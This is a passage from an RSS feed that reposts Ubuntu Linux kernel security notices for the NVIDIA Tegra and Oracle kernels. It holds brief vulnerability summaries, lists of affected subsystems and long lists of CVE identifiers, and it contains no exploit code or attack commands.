CVE-2026-52915, CVE-2026-52916, CVE-2026-52919, CVE-2026-52920,
CVE-2026-52921, CVE-2026-52922, CVE-2026-52925, CVE-2026-52926,
CVE-2026-52931, CVE-2026-52954, CVE-2026-52955, CVE-2026-52957,
CVE-2026-52958, CVE-2026-52962, CVE-2026-52963, CVE-2026-52969,
CVE-2026-52970, CVE-2026-52982, CVE-2026-52984, CVE-2026-52985,
CVE-2026-52986, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53068, CVE-2026-53069,
CVE-2026-53071, CVE-2026-53072, CVE-2026-53073, CVE-2026-53074,
CVE-2026-53075, CVE-2026-53077, CVE-2026-53082, CVE-2026-53088,
CVE-2026-53093, CVE-2026-53096, CVE-2026-53112, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53287, CVE-2026-53291, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53320, CVE-2026-53369, CVE-2026-53379,
CVE-2026-63860, CVE-2026-63865, CVE-2026-64018, CVE-2026-64032,
CVE-2026-64033, CVE-2026-64034, CVE-2026-64039, CVE-2026-64046,
CVE-2026-64047, CVE-2026-64055, CVE-2026-64056, CVE-2026-64083,
CVE-2026-64084, CVE-2026-64085, CVE-2026-64086, CVE-2026-64087,
CVE-2026-64088, CVE-2026-64089, CVE-2026-64096, CVE-2026-64102,
CVE-2026-64103, CVE-2026-64113, CVE-2026-64114, CVE-2026-64115,
CVE-2026-64125, CVE-2026-64133, CVE-2026-64135, CVE-2026-64153,
CVE-2026-64155, CVE-2026-64164, CVE-2026-64165, CVE-2026-64166,
CVE-2026-64168, CVE-2026-64173, CVE-2026-64174, CVE-2026-64177,
CVE-2026-64178, CVE-2026-64179, CVE-2026-64185)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8576-2: Linux kernel (NVIDIA Tegra) vulnerabilities]]></title>
<description><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose...]]></description>
<link>https://tsecurity.de/de/3688376/unix-server/usn-8576-2-linux-kernel-nvidia-tegra-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688376/unix-server/usn-8576-2-linux-kernel-nvidia-tegra-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 10:31:00 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - Framebuffer layer;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Network traffic control;
  - Bluetooth subsystem;
  - MAC80211 subsystem;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - SoC audio core drivers;
  - STI ASoC drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545,
CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865,
CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715,
CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221,
CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719,
CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863,
CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006,
CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562,
CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748,
CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103,
CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256,
CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161,
CVE-2025-71221, CVE-2025-71232, CVE-2025-71235, CVE-2025-71236,
CVE-2025-71237, CVE-2025-71238, CVE-2025-71239, CVE-2025-71265,
CVE-2025-71266, CVE-2025-71267, CVE-2025-71274, CVE-2025-71287,
CVE-2025-71292, CVE-2025-71304, CVE-2026-23031, CVE-2026-23066,
CVE-2026-23100, CVE-2026-23113, CVE-2026-23141, CVE-2026-23157,
CVE-2026-23169, CVE-2026-23204, CVE-2026-23220, CVE-2026-23221,
CVE-2026-23222, CVE-2026-23227, CVE-2026-23228, CVE-2026-23229,
CVE-2026-23234, CVE-2026-23235, CVE-2026-23236, CVE-2026-23237,
CVE-2026-23238, CVE-2026-23241, CVE-2026-23242, CVE-2026-23243,
CVE-2026-23253, CVE-2026-23266, CVE-2026-23270, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23286, CVE-2026-23289,
CVE-2026-23290, CVE-2026-23291, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23303, CVE-2026-23304,
CVE-2026-23307, CVE-2026-23312, CVE-2026-23318, CVE-2026-23324,
CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340,
CVE-2026-23352, CVE-2026-23356, CVE-2026-23357, CVE-2026-23359,
CVE-2026-23362, CVE-2026-23365, CVE-2026-23367, CVE-2026-23368,
CVE-2026-23370, CVE-2026-23372, CVE-2026-23379, CVE-2026-23381,
CVE-2026-23382, CVE-2026-23388, CVE-2026-23391, CVE-2026-23392,
CVE-2026-23395, CVE-2026-23396, CVE-2026-23397, CVE-2026-23398,
CVE-2026-23399, CVE-2026-23401, CVE-2026-23420, CVE-2026-23434,
CVE-2026-23438, CVE-2026-23439, CVE-2026-23442, CVE-2026-23444,
CVE-2026-23446, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23462,
CVE-2026-23463, CVE-2026-23474, CVE-2026-31393, CVE-2026-31396,
CVE-2026-31399, CVE-2026-31400, CVE-2026-31405, CVE-2026-31407,
CVE-2026-31408, CVE-2026-31409, CVE-2026-31411, CVE-2026-31415,
CVE-2026-31416, CVE-2026-31417, CVE-2026-31421, CVE-2026-31422,
CVE-2026-31423, CVE-2026-31424, CVE-2026-31425, CVE-2026-31427,
CVE-2026-31428, CVE-2026-31433, CVE-2026-31446, CVE-2026-31447,
CVE-2026-31450, CVE-2026-31452, CVE-2026-31454, CVE-2026-31455,
CVE-2026-31464, CVE-2026-31466, CVE-2026-31467, CVE-2026-31469,
CVE-2026-31473, CVE-2026-31476, CVE-2026-31480, CVE-2026-31483,
CVE-2026-31485, CVE-2026-31489, CVE-2026-31494, CVE-2026-31495,
CVE-2026-31497, CVE-2026-31498, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31512, CVE-2026-31515,
CVE-2026-31518, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31532, CVE-2026-31540, CVE-2026-31545,
CVE-2026-31546, CVE-2026-31549, CVE-2026-31550, CVE-2026-31551,
CVE-2026-31552, CVE-2026-31555, CVE-2026-31565, CVE-2026-31570,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31583, CVE-2026-31585, CVE-2026-31586,
CVE-2026-31588, CVE-2026-31590, CVE-2026-31594, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31605, CVE-2026-31615, CVE-2026-31616,
CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31622,
CVE-2026-31623, CVE-2026-31624, CVE-2026-31625, CVE-2026-31626,
CVE-2026-31627, CVE-2026-31628, CVE-2026-31629, CVE-2026-31630,
CVE-2026-31634, CVE-2026-31642, CVE-2026-31651, CVE-2026-31656,
CVE-2026-31658, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662,
CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31670,
CVE-2026-31671, CVE-2026-31672, CVE-2026-31673, CVE-2026-31674,
CVE-2026-31676, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31687,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31701, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31737, CVE-2026-31738, CVE-2026-31747, CVE-2026-31748,
CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754,
CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759,
CVE-2026-31761, CVE-2026-31762, CVE-2026-31763, CVE-2026-31770,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31780, CVE-2026-31781,
CVE-2026-31788, CVE-2026-43014, CVE-2026-43015, CVE-2026-43020,
CVE-2026-43024, CVE-2026-43026, CVE-2026-43027, CVE-2026-43028,
CVE-2026-43030, CVE-2026-43032, CVE-2026-43035, CVE-2026-43040,
CVE-2026-43041, CVE-2026-43043, CVE-2026-43046, CVE-2026-43047,
CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054,
CVE-2026-43058, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062,
CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069,
CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079,
CVE-2026-43080, CVE-2026-43085, CVE-2026-43089, CVE-2026-43093,
CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104,
CVE-2026-43105, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112,
CVE-2026-43113, CVE-2026-43123, CVE-2026-43124, CVE-2026-43130,
CVE-2026-43132, CVE-2026-43133, CVE-2026-43134, CVE-2026-43135,
CVE-2026-43136, CVE-2026-43139, CVE-2026-43140, CVE-2026-43141,
CVE-2026-43145, CVE-2026-43147, CVE-2026-43148, CVE-2026-43149,
CVE-2026-43152, CVE-2026-43156, CVE-2026-43158, CVE-2026-43159,
CVE-2026-43163, CVE-2026-43168, CVE-2026-43171, CVE-2026-43180,
CVE-2026-43182, CVE-2026-43183, CVE-2026-43184, CVE-2026-43187,
CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43202,
CVE-2026-43203, CVE-2026-43205, CVE-2026-43206, CVE-2026-43207,
CVE-2026-43209, CVE-2026-43211, CVE-2026-43218, CVE-2026-43223,
CVE-2026-43225, CVE-2026-43226, CVE-2026-43227, CVE-2026-43230,
CVE-2026-43231, CVE-2026-43232, CVE-2026-43233, CVE-2026-43236,
CVE-2026-43241, CVE-2026-43242, CVE-2026-43246, CVE-2026-43251,
CVE-2026-43255, CVE-2026-43257, CVE-2026-43261, CVE-2026-43262,
CVE-2026-43264, CVE-2026-43266, CVE-2026-43268, CVE-2026-43269,
CVE-2026-43270, CVE-2026-43273, CVE-2026-43275, CVE-2026-43277,
CVE-2026-43279, CVE-2026-43281, CVE-2026-43283, CVE-2026-43287,
CVE-2026-43289, CVE-2026-43291, CVE-2026-43295, CVE-2026-43296,
CVE-2026-43302, CVE-2026-43312, CVE-2026-43313, CVE-2026-43314,
CVE-2026-43315, CVE-2026-43316, CVE-2026-43324, CVE-2026-43327,
CVE-2026-43328, CVE-2026-43329, CVE-2026-43333, CVE-2026-43334,
CVE-2026-43336, CVE-2026-43339, CVE-2026-43340, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43357, CVE-2026-43363, CVE-2026-43365,
CVE-2026-43370, CVE-2026-43373, CVE-2026-43380, CVE-2026-43381,
CVE-2026-43382, CVE-2026-43386, CVE-2026-43387, CVE-2026-43405,
CVE-2026-43411, CVE-2026-43420, CVE-2026-43425, CVE-2026-43426,
CVE-2026-43427, CVE-2026-43428, CVE-2026-43429, CVE-2026-43430,
CVE-2026-43432, CVE-2026-43439, CVE-2026-43445, CVE-2026-43449,
CVE-2026-43450, CVE-2026-43451, CVE-2026-43452, CVE-2026-43453,
CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43469,
CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476,
CVE-2026-43480, CVE-2026-43484, CVE-2026-43496, CVE-2026-43497,
CVE-2026-43502, CVE-2026-45834, CVE-2026-45835, CVE-2026-45836,
CVE-2026-45838, CVE-2026-45839, CVE-2026-45840, CVE-2026-45841,
CVE-2026-45842, CVE-2026-45843, CVE-2026-45844, CVE-2026-45846,
CVE-2026-45847, CVE-2026-45848, CVE-2026-45852, CVE-2026-45856,
CVE-2026-45857, CVE-2026-45860, CVE-2026-45862, CVE-2026-45864,
CVE-2026-45866, CVE-2026-45867, CVE-2026-45868, CVE-2026-45869,
CVE-2026-45870, CVE-2026-45871, CVE-2026-45873, CVE-2026-45875,
CVE-2026-45879, CVE-2026-45883, CVE-2026-45885, CVE-2026-45890,
CVE-2026-45891, CVE-2026-45899, CVE-2026-45902, CVE-2026-45904,
CVE-2026-45911, CVE-2026-45912, CVE-2026-45915, CVE-2026-45916,
CVE-2026-45919, CVE-2026-45920, CVE-2026-45924, CVE-2026-45935,
CVE-2026-45936, CVE-2026-45941, CVE-2026-45946, CVE-2026-45948,
CVE-2026-45954, CVE-2026-45956, CVE-2026-45958, CVE-2026-45960,
CVE-2026-45964, CVE-2026-45965, CVE-2026-45968, CVE-2026-45969,
CVE-2026-45970, CVE-2026-45974, CVE-2026-45978, CVE-2026-45983,
CVE-2026-45984, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45994, CVE-2026-46002, CVE-2026-46004, CVE-2026-46006,
CVE-2026-46009, CVE-2026-46015, CVE-2026-46018, CVE-2026-46019,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46027,
CVE-2026-46033, CVE-2026-46037, CVE-2026-46040, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46053, CVE-2026-46062, CVE-2026-46064,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46077, CVE-2026-46080,
CVE-2026-46082, CVE-2026-46088, CVE-2026-46098, CVE-2026-46099,
CVE-2026-46101, CVE-2026-46102, CVE-2026-46107, CVE-2026-46108,
CVE-2026-46112, CVE-2026-46120, CVE-2026-46122, CVE-2026-46123,
CVE-2026-46124, CVE-2026-46127, CVE-2026-46128, CVE-2026-46132,
CVE-2026-46133, CVE-2026-46137, CVE-2026-46146, CVE-2026-46149,
CVE-2026-46150, CVE-2026-46151, CVE-2026-46161, CVE-2026-46163,
CVE-2026-46167, CVE-2026-46168, CVE-2026-46172, CVE-2026-46174,
CVE-2026-46177, CVE-2026-46178, CVE-2026-46184, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46189, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46205, CVE-2026-46206, CVE-2026-46209, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46219, CVE-2026-46220, CVE-2026-46227,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46236, CVE-2026-46238, CVE-2026-46249, CVE-2026-46250,
CVE-2026-46253, CVE-2026-46259, CVE-2026-46267, CVE-2026-46270,
CVE-2026-46273, CVE-2026-46274, CVE-2026-46275, CVE-2026-46285,
CVE-2026-46294, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46307, CVE-2026-46319, CVE-2026-46328, CVE-2026-52911,
CVE-2026-52912, CVE-2026-52914, CVE-2026-52915, CVE-2026-52916,
CVE-2026-52919, CVE-2026-52920, CVE-2026-52921, CVE-2026-52922,
CVE-2026-52925, CVE-2026-52926, CVE-2026-52931, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52962,
CVE-2026-52963, CVE-2026-52969, CVE-2026-52970, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52992,
CVE-2026-52993, CVE-2026-52995, CVE-2026-52998, CVE-2026-52999,
CVE-2026-53001, CVE-2026-53002, CVE-2026-53003, CVE-2026-53004,
CVE-2026-53006, CVE-2026-53011, CVE-2026-53012, CVE-2026-53016,
CVE-2026-53021, CVE-2026-53022, CVE-2026-53023, CVE-2026-53037,
CVE-2026-53039, CVE-2026-53040, CVE-2026-53041, CVE-2026-53043,
CVE-2026-53045, CVE-2026-53046, CVE-2026-53047, CVE-2026-53048,
CVE-2026-53049, CVE-2026-53050, CVE-2026-53059, CVE-2026-53060,
CVE-2026-53061, CVE-2026-53062, CVE-2026-53064, CVE-2026-53065,
CVE-2026-53068, CVE-2026-53069, CVE-2026-53071, CVE-2026-53072,
CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53088, CVE-2026-53093, CVE-2026-53096,
CVE-2026-53112, CVE-2026-53128, CVE-2026-53130, CVE-2026-53287,
CVE-2026-53291, CVE-2026-53294, CVE-2026-53295, CVE-2026-53296,
CVE-2026-53304, CVE-2026-53306, CVE-2026-53309, CVE-2026-53320,
CVE-2026-53369, CVE-2026-53379, CVE-2026-63860, CVE-2026-63865,
CVE-2026-64018, CVE-2026-64032, CVE-2026-64033, CVE-2026-64034,
CVE-2026-64039, CVE-2026-64046, CVE-2026-64047, CVE-2026-64055,
CVE-2026-64056, CVE-2026-64083, CVE-2026-64084, CVE-2026-64085,
CVE-2026-64086, CVE-2026-64087, CVE-2026-64088, CVE-2026-64089,
CVE-2026-64096, CVE-2026-64102, CVE-2026-64103, CVE-2026-64113,
CVE-2026-64114, CVE-2026-64115, CVE-2026-64125, CVE-2026-64133,
CVE-2026-64135, CVE-2026-64153, CVE-2026-64155, CVE-2026-64164,
CVE-2026-64165, CVE-2026-64166, CVE-2026-64168, CVE-2026-64173,
CVE-2026-64174, CVE-2026-64177, CVE-2026-64178, CVE-2026-64179,
CVE-2026-64185)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8595-1: Linux kernel (Oracle) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3688352/unix-server/usn-8595-1-linux-kernel-oracle-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688352/unix-server/usn-8595-1-linux-kernel-oracle-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 10:20:43 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Remote Processor subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - SPI subsystem;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - Cryptographic library;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
